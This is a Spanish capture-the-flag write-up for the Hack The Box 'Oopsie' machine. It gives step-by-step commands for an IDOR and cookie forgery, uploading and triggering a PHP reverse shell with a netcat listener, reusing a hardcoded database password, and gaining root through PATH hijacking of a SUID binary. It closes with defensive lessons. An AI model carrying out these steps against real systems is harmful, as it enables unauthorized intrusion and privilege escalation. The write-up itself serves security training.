Volver a Writeups
Hack The Box Very Easy 🐧 Linux Starting Point

Oopsie

La máquina expone una aplicación web con un login de "Guest" que esconde una vulnerabilidad de IDOR (Insecure Direct Object Reference) en las cookies de sesión. Manipulando el ID de usuario logramos acceso de administrador, lo que nos permite subir una PHP reverse shell. Después de la intrusión inicial, encontramos credenciales hardcodeadas en código fuente que nos permiten movernos lateralmente al usuario robert. La escalada de privilegios se logra mediante PATH Hijacking sobre un binario SUID.

IDOR Broken Access Control File Upload RCE SUID PATH Hijacking Hardcoded Credentials

Reconocimiento

Nmap revela una aplicación web corriendo en el puerto 80. El puerto 22 (SSH) también está abierto para más adelante.

Enumeración Web — IDOR en Cookies

La página principal tiene un enlace de login en /cdn-cgi/login. Permite iniciar sesión como Guest sin credenciales. Dentro, en la sección de cuentas, la URL muestra el parámetro id=2 (el usuario Guest).

Al cambiar el valor a id=1 se accede a los datos del administrador:

httpIDOR — cambio de ID
http://target/accounts?id=1

# Resultado:
# Access ID: 34322
# Name: admin
# Email: admin@megacorp.com

Con el Access ID del admin, modificamos las cookies de sesión en el navegador (herramientas de desarrollador → Aplicación → Cookies) para suplantar al administrador y acceder al panel de subida de archivos.

Foothold — PHP Reverse Shell (File Upload)

Primero enumeramos directorios con Gobuster para ubicar donde caen los archivos subidos:

bashDirectory fuzzing
gobuster dir -u http://10.129.31.92 -w /usr/share/wordlists/dirb/common.txt
# Resultado relevante: /uploads

Descargamos la PHP reverse shell de pentestmonkey, editamos la IP por la de nuestra interfaz tun0 y la subimos mediante el panel de administrador:

bashListener + activar shell
# 1. Poner netcat en escucha
nc -lvnp 1234

# 2. Activar la reverse shell accediendo al archivo subido
curl http://10.129.31.92/uploads/php-reverse-shell.php

# 3. Estabilizar la shell con PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

Movimiento Lateral — Credenciales Hardcodeadas

Revisando el código fuente de la aplicación web encontramos credenciales de base de datos en texto plano:

php/var/www/html/cdn-cgi/login/db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
bashCambio de usuario
su robert
# Password: M3g4C0rpUs3r!

robert@oopsie:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Escalada de Privilegios — PATH Hijacking (SUID)

Robert pertenece al grupo bugtracker. Buscamos binarios de ese grupo con SUID:

bashBúsqueda SUID
find / -group bugtracker 2>/dev/null
# Resultado: /usr/bin/bugtracker

ls -la /usr/bin/bugtracker
# -rwsr-xr-- 1 root bugtracker 8792 ... /usr/bin/bugtracker

Al ejecutar el binario y darle un ID cualquiera, produce el error: cat: /root/reports/12: No such file or directory. Esto significa que llama a cat sin ruta absoluta → vulnerable a PATH Hijacking.

bashPATH Hijacking → root
# 1. Crear un 'cat' malicioso en /tmp
cd /tmp
echo "/bin/sh" > cat
chmod +x cat

# 2. Secuestrar el PATH
export PATH=/tmp:$PATH

# 3. Ejecutar el binario SUID vulnerable
/usr/bin/bugtracker
# Provide Bug ID: 2
# > whoami
root

Lecciones Aprendidas

  • IDOR en parámetros de sesión permite saltar entre roles sin exploits complejos.
  • Las funcionalidades de upload de archivos deben validar el tipo MIME y la extensión en el lado del servidor, nunca confiar solo en el cliente.
  • Las credenciales hardcodeadas en código fuente son una vulnerabilidad crítica de divulgación de información.
  • Los binarios SUID deben usar rutas absolutas para todos sus llamados al sistema y seguir el principio de mínimo privilegio.
  • GTFOBins es tu mejor amigo para encontrar shell escaping en binarios legítimos.
oopsie